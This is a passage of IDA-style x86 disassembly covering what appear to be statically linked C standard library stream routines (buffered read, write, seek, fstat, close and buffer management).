		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061278	proc near

var_54		= byte ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= byte ptr -40h
var_38		= word ptr -38h
var_2C		= dword	ptr -2Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		cmp	[ebp+arg_C], 0
		jnz	short loc_8061297
		mov	edi, 1
		xor	esi, esi

loc_8061297:				; CODE XREF: sub_8061278+16j
		mov	eax, [ebx+14h]
		cmp	[ebx+10h], eax
		jb	short loc_80612A5
		test	byte ptr [ebx+1], 8
		jz	short loc_80612B6

loc_80612A5:				; CODE XREF: sub_8061278+25j
		push	ebx
		call	sub_806186C
		add	esp, 4
		test	eax, eax
		jnz	loc_80613CA

loc_80612B6:				; CODE XREF: sub_8061278+2Bj
		cmp	dword ptr [ebx+1Ch], 0
		jnz	short loc_80612E6
		push	ebx
		call	sub_8061BB8
		mov	eax, [ebx+1Ch]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+18h], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+4], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+8], eax
		add	esp, 4

loc_80612E6:				; CODE XREF: sub_8061278+42j
		cmp	edi, 1
		jz	short loc_80612F4
		jle	short loc_806133E
		cmp	edi, 2
		jz	short loc_806130C
		jmp	short loc_806133E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80612F4:				; CODE XREF: sub_8061278+71j
		mov	eax, [ebx+8]
		sub	eax, [ebx+4]
		sub	esi, eax
		cmp	dword ptr [ebx+40h], 0FFFFFFFFh
		jz	loc_806143C
		add	esi, [ebx+40h]
		jmp	short loc_806133C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806130C:				; CODE XREF: sub_8061278+78j
		mov	eax, [ebx+50h]
		lea	edx, [ebp+var_40]
		push	edx
		push	ebx
		mov	eax, [eax+8Ch]
		call	eax
		add	esp, 8
		test	eax, eax
		jnz	loc_806143C
		mov	ax, [ebp+var_38]
		and	ax, 0F000h
		cmp	ax, 8000h
		jnz	loc_806143C
		add	esi, [ebp+var_2C]

loc_806133C:				; CODE XREF: sub_8061278+91j
		xor	edi, edi

loc_806133E:				; CODE XREF: sub_8061278+73j
					; sub_8061278+7Aj
		cmp	dword ptr [ebx+40h], 0FFFFFFFFh
		jz	short loc_806138C
		cmp	dword ptr [ebx+0Ch], 0
		jz	short loc_806138C
		test	byte ptr [ebx+1], 1
		jnz	short loc_806138C
		mov	edx, esi
		sub	edx, [ebx+40h]
		mov	eax, [ebx+8]
		sub	eax, [ebx+0Ch]
		add	edx, eax
		js	short loc_806138C
		cmp	edx, eax
		jg	short loc_806138C
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		add	edx, [ebx+1Ch]
		mov	[ebx+4], edx
		mov	eax, [ebx+8]
		mov	[ebx+8], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+18h], eax
		mov	eax, esi
		jmp	loc_8061482
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806138C:				; CODE XREF: sub_8061278+CAj
					; sub_8061278+D0j ...
		test	byte ptr [ebx],	4
		jnz	loc_806143C
		mov	edx, [ebx+20h]
		sub	edx, [ebx+1Ch]
		mov	eax, edx
		neg	eax
		and	eax, esi
		mov	[ebp+var_48], eax
		mov	edi, esi
		sub	edi, eax
		cmp	edi, edx
		jle	short loc_80613B1
		mov	[ebp+var_48], esi
		xor	edi, edi

loc_80613B1:				; CODE XREF: sub_8061278+132j
		mov	eax, [ebx+50h]
		push	0
		mov	ecx, [ebp+var_48]
		push	ecx
		push	ebx
		mov	eax, [eax+7Ch]
		call	eax
		mov	[ebp+var_44], eax
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_80613D4

loc_80613CA:				; CODE XREF: sub_8061278+38j
		mov	eax, 0FFFFFFFFh
		jmp	loc_8061482
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80613D4:				; CODE XREF: sub_8061278+150j
		test	edi, edi
		jnz	short loc_80613DC
		xor	edx, edx
		jmp	short loc_806140C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80613DC:				; CODE XREF: sub_8061278+15Ej
		mov	edx, [ebx+50h]
		mov	eax, [ebx+20h]
		sub	eax, [ebx+1Ch]
		push	eax
		mov	eax, [ebx+1Ch]
		push	eax
		push	ebx
		mov	eax, [edx+6Ch]
		call	eax
		mov	edx, eax
		add	esp, 0Ch
		cmp	edx, edi
		jge	short loc_806140C
		mov	esi, edi
		cmp	edx, 0FFFFFFFFh
		jz	short loc_8061402
		sub	esi, edx

loc_8061402:				; CODE XREF: sub_8061278+186j
		mov	edi, 1
		jmp	short loc_806143C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806140C:				; CODE XREF: sub_8061278+162j
					; sub_8061278+17Fj
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		add	edi, [ebx+1Ch]
		mov	[ebx+4], edi
		mov	ecx, [ebx+1Ch]
		add	ecx, edx
		mov	[ebx+8], ecx
		mov	eax, [ebx+1Ch]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+18h], eax
		add	edx, [ebp+var_44]
		mov	[ebx+40h], edx
		and	dword ptr [ebx], 0FFFFFFEFh
		mov	eax, esi
		jmp	short loc_8061482
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806143C:				; CODE XREF: sub_8061278+88j
					; sub_8061278+A9j ...
		push	ebx
		call	sub_8062368
		mov	eax, [ebx+50h]
		push	edi
		push	esi
		push	ebx
		mov	eax, [eax+7Ch]
		call	eax
		mov	[ebp+var_44], eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8061458
		and	dword ptr [ebx], 0FFFFFFEFh

loc_8061458:				; CODE XREF: sub_8061278+1DBj
		mov	ecx, [ebp+var_44]
		mov	[ebx+40h], ecx
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+4], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+8], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		mov	eax, [ebx+1Ch]
		mov	[ebx+18h], eax
		mov	eax, [ebp+var_44]

loc_8061482:				; CODE XREF: sub_8061278+10Ej
					; sub_8061278+157j ...
		lea	esp, [ebp+var_54]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8061278	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806148C	proc near

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]
		nop

loc_806149C:				; CODE XREF: sub_806148C+2Aj
		push	ebx
		push	esi
		mov	eax, [edi+38h]
		push	eax
		call	read
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_80614B8
		cmp	__errno, 4
		jz	short loc_806149C

loc_80614B8:				; CODE XREF: sub_806148C+21j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_806148C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80614C4	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		push	eax
		push	edx
		mov	eax, [ecx+38h]
		push	eax
		call	lseek
		mov	esp, ebp
		pop	ebp
		retn
sub_80614C4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80614E0	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [eax+38h]
		push	edx
		push	eax
		push	1
		call	fstat
		mov	esp, ebp
		pop	ebp
		retn
sub_80614E0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80614FC	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+38h]
		push	eax
		call	close
		mov	esp, ebp
		pop	ebp
		retn
sub_80614FC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061510	proc near

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_8]

loc_806151F:				; CODE XREF: sub_8061510+2Aj
					; sub_8061510+33j
		test	ebx, ebx
		jle	short loc_8061548
		push	ebx
		push	esi
		mov	eax, [edi+38h]
		push	eax
		call	write
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_806153C
		sub	ebx, eax
		add	esi, eax
		jmp	short loc_806151F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806153C:				; CODE XREF: sub_8061510+24j
		cmp	__errno, 4
		jz	short loc_806151F
		or	byte ptr [edi],	20h

loc_8061548:				; CODE XREF: sub_8061510+11j
		sub	[ebp+arg_8], ebx
		cmp	dword ptr [edi+40h], 0
		jl	short loc_8061557
		mov	edx, [ebp+arg_8]
		add	[edi+40h], edx

loc_8061557:				; CODE XREF: sub_8061510+3Fj
		mov	eax, [ebp+arg_8]
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8061510	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061564	proc near

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		xor	esi, esi
		test	eax, eax
		jnz	short loc_8061598
		xor	eax, eax
		jmp	loc_806177E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8061584:				; CODE XREF: sub_8061564+94j
					; sub_8061564+9Fj ...
		mov	eax, [ebp+var_C]
		sub	eax, ebx
		lea	edi, [eax+1]
		mov	esi, 1
		jmp	loc_8061656
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061598:				; CODE XREF: sub_8061564+16j
		mov	edx, [ebp+arg_0]
		mov	edi, [edx+18h]
		sub	edi, [edx+14h]
		mov	eax, [edx]
		and	eax, 0A00h
		cmp	eax, 0A00h
		jnz	loc_8061656
		mov	edi, [edx+20h]
		sub	edi, [edx+14h]
		cmp	[ebp+arg_8], edi
		ja	loc_8061656
		mov	eax, [ebp+arg_8]
		add	eax, ebx
		mov	[ebp+var_C], eax
		cmp	eax, ebx
		jbe	loc_8061656
		mov	eax, ebx
		sub	eax, [ebp+var_C]
		mov	ecx, eax
		and	ecx, 3
		cmp	[ebp+var_C], ebx
		jle	short loc_8061609
		test	ecx, ecx
		jz	short loc_806161C
		cmp	ecx, 3
		jge	short loc_8061609
		cmp	ecx, 2
		jge	short loc_80615FA
		dec	[ebp+var_C]
		mov	edx, [ebp+var_C]
		cmp	byte ptr [edx],	0Ah
		jz	short loc_8061584

loc_80615FA:				; CODE XREF: sub_8061564+89j
		dec	[ebp+var_C]
		mov	eax, [ebp+var_C]
		cmp	byte ptr [eax],	0Ah
		jz	loc_8061584

loc_8061609:				; CODE XREF: sub_8061564+7Bj
					; sub_8061564+84j
		dec	[ebp+var_C]
		mov	edx, [ebp+var_C]
		cmp	byte ptr [edx],	0Ah
		jz	loc_8061584
		cmp	edx, ebx
		jbe	short loc_8061656

loc_806161C:				; CODE XREF: sub_8061564+7Fj
					; sub_8061564+F0j
		dec	[ebp+var_C]
		mov	eax, [ebp+var_C]
		cmp	byte ptr [eax],	0Ah
		jz	loc_8061584
		dec	eax
		mov	[ebp+var_C], eax
		cmp	byte ptr [eax],	0Ah
		jz	loc_8061584
		dec	eax
		mov	[ebp+var_C], eax
		cmp	byte ptr [eax],	0Ah
		jz	loc_8061584
		dec	eax
		mov	[ebp+var_C], eax
		cmp	byte ptr [eax],	0Ah
		jz	loc_8061584
		cmp	eax, ebx
		ja	short loc_806161C

loc_8061656:				; CODE XREF: sub_8061564+2Dj
					; sub_8061564+49j ...
		test	edi, edi
		jz	loc_8061708
		cmp	[ebp+var_4], edi
		jnb	short loc_8061666
		mov	edi, [ebp+var_4]

loc_8061666:				; CODE XREF: sub_8061564+FDj
		cmp	edi, 14h
		jbe	short loc_8061680
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		push	edi
		push	ebx
		push	edx
		call	memcpy
		add	esp, 0Ch
		add	ebx, edi
		jmp	short loc_80616FF
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061680:				; CODE XREF: sub_8061564+105j
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+14h]
		mov	[ebp+var_C], eax
		lea	ecx, [edi-1]
		test	ecx, ecx
		jl	short loc_80616FF
		mov	eax, ecx
		not	eax
		and	eax, 3
		mov	[ebp+var_8], eax
		cmp	ecx, 0FFFFFFFFh
		jle	short loc_80616C9
		test	eax, eax
		jz	short loc_80616D8
		cmp	eax, 3
		jge	short loc_80616C9
		cmp	eax, 2
		jge	short loc_80616BC
		mov	dl, [ebx]
		mov	eax, [ebp+var_C]
		mov	[eax], dl
		inc	ebx
		inc	eax
		mov	[ebp+var_C], eax
		lea	ecx, [edi-2]

loc_80616BC:				; CODE XREF: sub_8061564+147j
		mov	dl, [ebx]
		mov	eax, [ebp+var_C]
		mov	[eax], dl
		inc	ebx
		inc	eax
		mov	[ebp+var_C], eax
		dec	ecx

loc_80616C9:				; CODE XREF: sub_8061564+139j
					; sub_8061564+142j
		mov	dl, [ebx]
		mov	eax, [ebp+var_C]
		mov	[eax], dl
		inc	ebx
		inc	eax
		mov	[ebp+var_C], eax
		dec	ecx
		js	short loc_80616FF

loc_80616D8:				; CODE XREF: sub_8061564+13Dj
					; sub_8061564+199j
		mov	dl, [ebx]
		mov	eax, [ebp+var_C]
		mov	[eax], dl
		mov	dl, [ebx+1]
		mov	[eax+1], dl
		mov	dl, [ebx+2]
		mov	[eax+2], dl
		mov	dl, [ebx+3]
		mov	[eax+3], dl
		add	ebx, 4
		add	eax, 4
		mov	[ebp+var_C], eax
		add	ecx, 0FFFFFFFCh
		jns	short loc_80616D8

loc_80616FF:				; CODE XREF: sub_8061564+11Aj
					; sub_8061564+12Aj ...
		mov	eax, [ebp+arg_0]
		add	[eax+14h], edi
		sub	[ebp+var_4], edi

loc_8061708:				; CODE XREF: sub_8061564+F4j
		mov	eax, [ebp+var_4]
		add	eax, esi
		jz	short loc_8061778
		push	0FFFFFFFFh
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_8061910
		mov	ecx, eax
		add	esp, 8
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_8061778
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		sub	ecx, [eax+1Ch]
		cmp	ecx, 7Fh
		jbe	short loc_8061740
		mov	eax, [ebp+var_4]
		xor	edx, edx
		div	ecx
		mov	esi, edx
		jmp	short loc_8061742
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061740:				; CODE XREF: sub_8061564+1CCj
		xor	esi, esi

loc_8061742:				; CODE XREF: sub_8061564+1D7j
		mov	edi, [ebp+var_4]
		sub	edi, esi
		push	edi
		push	ebx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_8060FA8
		mov	ecx, eax
		add	esp, 0Ch
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_8061778
		mov	[ebp+var_4], esi
		test	esi, esi
		jz	short loc_8061778
		push	esi
		add	ebx, edi
		mov	[ebp+var_8], ebx
		push	ebx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_8061C2C
		mov	ecx, eax
		sub	[ebp+var_4], ecx

loc_8061778:				; CODE XREF: sub_8061564+1A9j
					; sub_8061564+1BEj ...
		mov	eax, [ebp+arg_8]
		sub	eax, [ebp+var_4]

loc_806177E:				; CODE XREF: sub_8061564+1Aj
		lea	esp, [ebp+var_18]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8061564	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061788	proc near		; CODE XREF: fopen+45p	sub_8060D44+6Bp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		cmp	byte ptr [ecx],	0
		jge	short loc_80617C0
		mov	edx, offset off_80787F8
		cmp	off_80787F8, 0
		jz	short loc_80617BA
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_80617A4:				; CODE XREF: sub_8061788+30j
		cmp	[edx], ecx
		jnz	short loc_80617B0
		mov	eax, [ecx+34h]
		mov	[edx], eax
		jmp	short loc_80617BA
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80617B0:				; CODE XREF: sub_8061788+1Ej
		mov	edx, [edx]
		add	edx, 34h
		cmp	dword ptr [edx], 0
		jnz	short loc_80617A4

loc_80617BA:				; CODE XREF: sub_8061788+17j
					; sub_8061788+25j
		and	dword ptr [ecx], 0FFFFFF7Fh

loc_80617C0:				; CODE XREF: sub_8061788+9j
		mov	esp, ebp
		pop	ebp
		retn
sub_8061788	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80617C4	proc near		; CODE XREF: sub_8060D24+14p
					; sub_8060E20+DCp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx],	0
		jl	short loc_80617E0
		or	byte ptr [edx],	80h
		mov	eax, off_80787F8
		mov	[edx+34h], eax
		mov	off_80787F8, edx

loc_80617E0:				; CODE XREF: sub_80617C4+9j
		mov	esp, ebp
		pop	ebp
		retn
sub_80617C4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80617E4	proc near		; CODE XREF: sub_8061928+Dp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	edx, [eax+8]
		sub	edx, [eax+0Ch]
		mov	eax, [eax+30h]
		test	eax, eax
		jz	short loc_8061806
		nop

loc_80617F8:				; CODE XREF: sub_80617E4+20j
		cmp	[eax+8], edx
		jge	short loc_8061800
		mov	edx, [eax+8]

loc_8061800:				; CODE XREF: sub_80617E4+17j
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_80617F8

loc_8061806:				; CODE XREF: sub_80617E4+11j
		mov	eax, edx
		mov	esp, ebp
		pop	ebp
		retn
sub_80617E4	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806180C	proc near		; CODE XREF: sub_80618D4+Ep
					; sub_8061A70+2Ap ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFEFFh
		mov	ecx, [eax+8]
		mov	edx, [eax+2Ch]
		mov	[eax+8], edx
		mov	[eax+2Ch], ecx
		mov	ecx, [eax+0Ch]
		mov	edx, [eax+24h]
		mov	[eax+0Ch], edx
		mov	[eax+24h], ecx
		mov	edx, [eax+0Ch]
		mov	[eax+4], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_806180C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806183C	proc near		; CODE XREF: sub_8062318+37p
					; sub_80623B8+25p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 100h
		mov	ecx, [eax+8]
		mov	edx, [eax+2Ch]
		mov	[eax+8], edx
		mov	[eax+2Ch], ecx
		mov	ecx, [eax+0Ch]
		mov	edx, [eax+24h]
		mov	[eax+0Ch], edx
		mov	[eax+24h], ecx
		mov	edx, [eax+8]
		mov	[eax+4], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_806183C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_806186C	proc near		; CODE XREF: sub_806106C+35p
					; sub_8061278+2Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+14h]
		cmp	[ebx+10h], eax
		jnb	short loc_8061894
		mov	eax, [ebx+50h]
		push	0FFFFFFFFh
		push	ebx
		mov	eax, [eax+14h]
		call	eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8061894
		mov	eax, 0FFFFFFFFh
		jmp	short loc_80618CC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061894:				; CODE XREF: sub_806186C+Dj
					; sub_806186C+1Dj
		test	byte ptr [ebx+1], 1
		jz	short loc_80618A4
		mov	eax, [ebx+28h]
		mov	[ebx+0Ch], eax
		jmp	short loc_80618B5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80618A4:				; CODE XREF: sub_806186C+2Cj
		mov	eax, [ebx+1Ch]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+14h]
		cmp	[ebx+8], eax
		jnb	short loc_80618B5
		mov	[ebx+8], eax

loc_80618B5:				; CODE XREF: sub_806186C+34j
					; sub_806186C+44j
		mov	eax, [ebx+14h]
		mov	[ebx+4], eax
		mov	[ebx+18h], eax
		mov	[ebx+14h], eax
		mov	[ebx+10h], eax
		and	dword ptr [ebx], 0FFFFF7FFh
		xor	eax, eax

loc_80618CC:				; CODE XREF: sub_806186C+24j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_806186C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80618D4	proc near		; CODE XREF: sub_8061A70+63p
					; sub_8061AEC+67p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		test	byte ptr [ebx+1], 1
		jz	short loc_80618EA
		push	ebx
		call	sub_806180C
		add	esp, 4

loc_80618EA:				; CODE XREF: sub_80618D4+Bj
		mov	eax, [ebx+24h]
		push	eax
		call	free
		mov	dword ptr [ebx+24h], 0
		mov	dword ptr [ebx+2Ch], 0
		mov	dword ptr [ebx+28h], 0
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80618D4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061910	proc near		; CODE XREF: sub_804F820+46p
					; vfprintf+BEAp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	ecx, [edx+50h]
		push	eax
		push	edx
		mov	eax, [ecx+14h]
		call	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_8061910	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8061928	proc near		; CODE XREF: sub_8061A70+47p
					; sub_8061AEC+4Bp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_80617E4
		mov	esi, eax
		mov	ecx, [edi+8]
		sub	ecx, [edi+0Ch]
		sub	ecx, esi
		mov	[ebp+var_4], ecx
		mov	eax, [edi+2Ch]
		sub	eax, [edi+24h]
		add	esp, 4
		cmp	ecx, eax
		jle	loc_80619EC
		mov	[ebp+var_8], 64h
		mov	eax, ecx
		add	eax, 64h
		push	eax
		call	malloc
		mov	[ebp+var_C], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_8061980
		mov	eax, 0FFFFFFFFh
		jmp	loc_8061A63
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8061980:				; CODE XREF: sub_8061928+4Aj
		test	esi, esi
		jge	short loc_80619B0
		mov	edx, esi
		neg	edx
		mov	ebx, [ebp+var_C]
		add	ebx, [ebp+var_8]
		mov	eax, [edi+2Ch]
		add	eax, esi
		push	edx
		push	eax
		push	ebx
		call	memcpy
		add	esp, 0Ch
		sub	ebx, esi
		mov	edx, [edi+0Ch]
		mov	eax, [edi+8]
		sub	eax, edx
		push	eax
		push	edx
		push	ebx
		jmp	short loc_80619C1
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80619B0:				; CODE XREF: sub_8061928+5Aj
		mov	edx, [ebp+var_C]
		add	edx, [ebp+var_8]
		mov	eax, [edi+0Ch]
		add	eax, esi
		mov	ecx, [ebp+var_4]
		push	ecx
